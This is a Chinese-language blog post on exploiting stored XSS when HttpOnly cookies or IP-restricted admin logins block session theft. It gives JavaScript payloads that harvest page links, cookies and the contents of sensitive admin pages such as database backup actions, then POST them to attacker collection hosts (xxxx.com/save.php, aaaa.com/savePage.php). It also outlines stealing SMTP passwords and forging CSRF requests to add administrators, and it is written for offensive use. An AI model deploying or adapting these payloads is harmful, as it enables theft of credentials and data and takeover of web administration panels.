XSS遇到後臺登入限制或者HTTPONLY時
阿新 • • 發佈:2019-02-11
XSS確實是個好東西,往往能在我們沒有頭緒的時候帶來一絲曙光,宛如拿站途中的一輪明月,又如飢餓時的一塊小曲奇(cookie)~
然而,我們卻時常遇到形如限制登入,HTTPONLY等攔路虎,這時,很多機油可能覺得XSS就沒什麼用了。
如下:
0x02 XSS用途探索
其實即使如此,XSS還是能幫助我們得到不少資訊。甚至管理員的密碼!
如何獲取呢?方法有兩種:
1.獲取當前頁面的所有URL
2.獲取當前頁面的程式碼
這個用途,擼主最開始想到的是用來對付WEBSHELL箱子的。是的,我們知道,登入一個箱子後臺之後,基本上是拿不下shell的,我們要的主要是資料
例如,當時有這麼一個webshell站點,馬場主發現被人XSS之後,限制了ip登陸,即使得到了cookie也登不進去
這時候,我們就可以通過XSS獲取頁面的內容,直接得到所有webshell(當然要寫一個迴圈)。
0x03 XSS用途探索——獲取URL
不能光說不練不是,我們使用如下的js程式碼即可獲取當前頁面的所有URL:
-
a = document.getElementsByTagName("A");
-
var b = "";
-
for(i=0;i<a.length;i++)
-
{
-
b+=a[i].href;
-
b+="</br>";
-
}
-
postDATA="cookie="+escape(document.cookie)+"&location="+escape(window.location.href)+"&top="+escape(top.location.href)+"&urls="+escape(b);
-
url="http://xxxx.com/save.php";
-
xmlHttp.open("POST", url, true);
-
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
-
xmlHttp.send(postDATA);
-
}
-
window.onload = function(){
-
submitForm();
- }
例如,我們在某個後臺插入了自己的js:
等管理員看的時候,就得到了所有的url,我們可以在下圖看到,後臺往往有一些連結地址,都是各種管理的:
之後我們需要輾轉多次,來蒐集一些敏感的連結,例如資料庫備份,SMTP設定,管理員列表之類的
這些頁面的作用:
1.資料庫備份:沒準能看到資料庫或者備份的路徑
2.SMTP設定:管理員郵箱,密碼
3.管理員列表:有時候管理員密碼會顯示在此,即使不在,沒準可以CSRF新增一個管理員
0x04 XSS用途探索——獲取指定URL頁面程式碼
得到了敏感路徑之後呢,我們就可以利用如下的JS來獲取特定的頁面(當然,上一步在當前頁面蒐集不齊URL的時候,也可以使用這個JS到別的頁面蒐集)
關鍵程式碼如下:
-
function submitForm() {
-
var xmlHttp = createXmlHttp();
-
var htmlcode = getHtmlCode('http://xxxx.com/admin/asked/admin_data.asp?action=BackupData');
-
var html = encode64(htmlcode);
-
postDATA = "msg="+html;
-
url="http://aaaa.com/savePage.php";
-
xmlHttp.open("POST", url, true);
-
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
-
xmlHttp.send(postDATA);
-
}
-
window.onload = function(){
-
submitForm();
-
}
為什麼要base64?答:現將網頁escape,然後再用base64傳送,即能解決傳送時候一些特殊編碼問題,又能解決中文亂碼問題
我們得到內容的將會如下圖:
然後我們先用base64解碼,再unescape:
JS程式碼如下:
-
function decode64(input) {
-
var output = "";
-
var chr1, chr2, chr3 = "";
-
var enc1, enc2, enc3, enc4 = "";
-
var i = 0;
-
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
-
var base64test = /[^A-Za-z0-9\+\/\=]/g;
-
if (base64test.exec(input)) {
-
alert("There were invalid base64 characters in the input text.\n" +
-
"Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
-
"Expect errors in decoding.");
-
}
-
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
-
do {
-
enc1 = keyStr.indexOf(input.charAt(i++));
-
enc2 = keyStr.indexOf(input.charAt(i++));
-
enc3 = keyStr.indexOf(input.charAt(i++));
-
enc4 = keyStr.indexOf(input.charAt(i++));
-
chr1 = (enc1 << 2) | (enc2 >> 4);
-
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
-
chr3 = ((enc3 & 3) << 6) | enc4;
-
output = output + String.fromCharCode(chr1);
-
if (enc3 != 64) {
-
output = output + String.fromCharCode(chr2);
-
}
-
if (enc4 != 64) {
-
output = output + String.fromCharCode(chr3);
-
}
-
chr1 = chr2 = chr3 = "";
-
enc1 = enc2 = enc3 = enc4 = "";
-
} while (i < input.length);
-
return unescape(output);
- }
最終能得到網頁原始碼,其中包含著敏感資訊:
同樣,我們也可以得到新增管理員的頁面的程式碼:
然後可以構造一個CSRF了
0x05 總結
即使cookie不能用,也不要小看xss的威力,擼主標題註明了,這是一篇“研究”文,意在拋磚引玉,廣開大家思路,如有其他好思路可以給擼主留言,好機油一起討論~~
另外,這寫個模組,擼主已經加到了自己用的XSS平臺裡~~效果圖來一張: